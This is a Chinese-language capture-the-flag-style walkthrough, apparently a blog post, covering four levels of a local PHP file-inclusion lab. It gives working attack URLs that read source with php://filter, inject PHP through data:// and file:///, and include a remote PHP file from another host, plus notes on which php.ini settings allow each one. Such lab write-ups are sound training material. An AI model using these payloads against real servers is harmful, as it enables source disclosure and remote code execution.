action过关利用php伪协议文件包含

第一关

源码

尝试在news.php添加 ./ 观察是否有变化
没有变化可能存在文件包含
使用php伪协议查看文件
http://192.168.75.157/action/action.php?action=php://filter/read=convert.base64-encode/resource=news.php

可以读到数据
说明该文件包含前面没有路径,可以使用远程文件包含的方式进行
使用data://text/plain,abc 看能否显示文件后缀
http://192.168.75.157/action/action.php?action=data://text/plain,abdasdfasdfasdf

也可以这样写 data:text/plain,adfagadf
http://192.168.75.157/action/action.php?action=data:text/plain,abdasdfasdfasdf


注意:需要对php.ini 配置文件进行修改 allow_url_include=On allow_url_fopen=On 否则不能进行远程文件包含。

可以直接通过data://text/plain,abc<?php phpinfo()?> 拿到webshell
http://192.168.75.157/action/action.php?action=data:text/plain,<?php phpinfo()?>

第二关

源码

1.    ./ 查看是否存在文件包含问题        没有发生变化可能存在文件包含
2.    使用php://filter/read=convert.base64-encode/resource=new.php        没有发生变化,说明文件前有路径,大概率不能进行远程文件包含
3.    使用data://text/plain,abc 能否显示后缀,不能显示后缀,不能进行远程文件包含,只能尝试本地文件包含
4.    使用file:/// 的方式读取服务器本地的文件
        a)    http://192.168.75.157/action/action.php?action=file:///C:\phpStudy\WWW\action\news.jpg&pass=phpinfo();die();

第三关

源码

1. 使用 ./ 查看是否存在文件包含 页面没有变化可能存在文件包含
2. 使用伪协议查看文件是否有前缀 没有文件前缀

3. 使用data://text/plain,adsfgg 查看是否有后缀 可以显示,通过显示可以确定文件的后缀为 .php

第四关

源码

1.    使用 ./ 查看是否存在文件包含问题 没有改变可能存在
2.    使用 php://filter/read=convert.base64-encode/resource=new.php 没有反应,存在文件前缀
3.    使用data://text/plain,qwraftg 没反应基本没戏,比较难利用


php.ini 测试 allow_url_include 和 allow_url_fopen 在不同状态下的情况
http://
        allow_url_include=Off  allow_url_fopen=Off    不行
    http://192.168.100.16/action/action.php?action=http://192.168.100.93/l.php
        allow_url_include=On  allow_url_fopen=On     只有这种状态可以

php://
    php://input  直接接收所有的POST内容
    php://filter/read=convert.base64-encode/resource=a.php(绝对路径/相对路径)都可读出 a.php 内容,使用的base64显示
        allow_url_include=On/Off  allow_url_fopen=On        都可以

allow_url_fopen=Off        php://input 不行  
php://filter/read=convert.base64-encode/resource=a.php  可以

data://
    data://text/plain,asdgfh
        allow_url_include=Off    allow_url_fopen=Off        不行
        allow_url_include=On    allow_url_foprn=On        只有这个可以


file://    没影响
    allow_url_include=Off  allow_url_fopen=Off
    http://192.168.100.16/action/action.php?action=file://C:\phpStudy\WWW\action\news.jpg


   转载规则


《action过关利用php伪协议文件包含》 Evolyutsiya 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录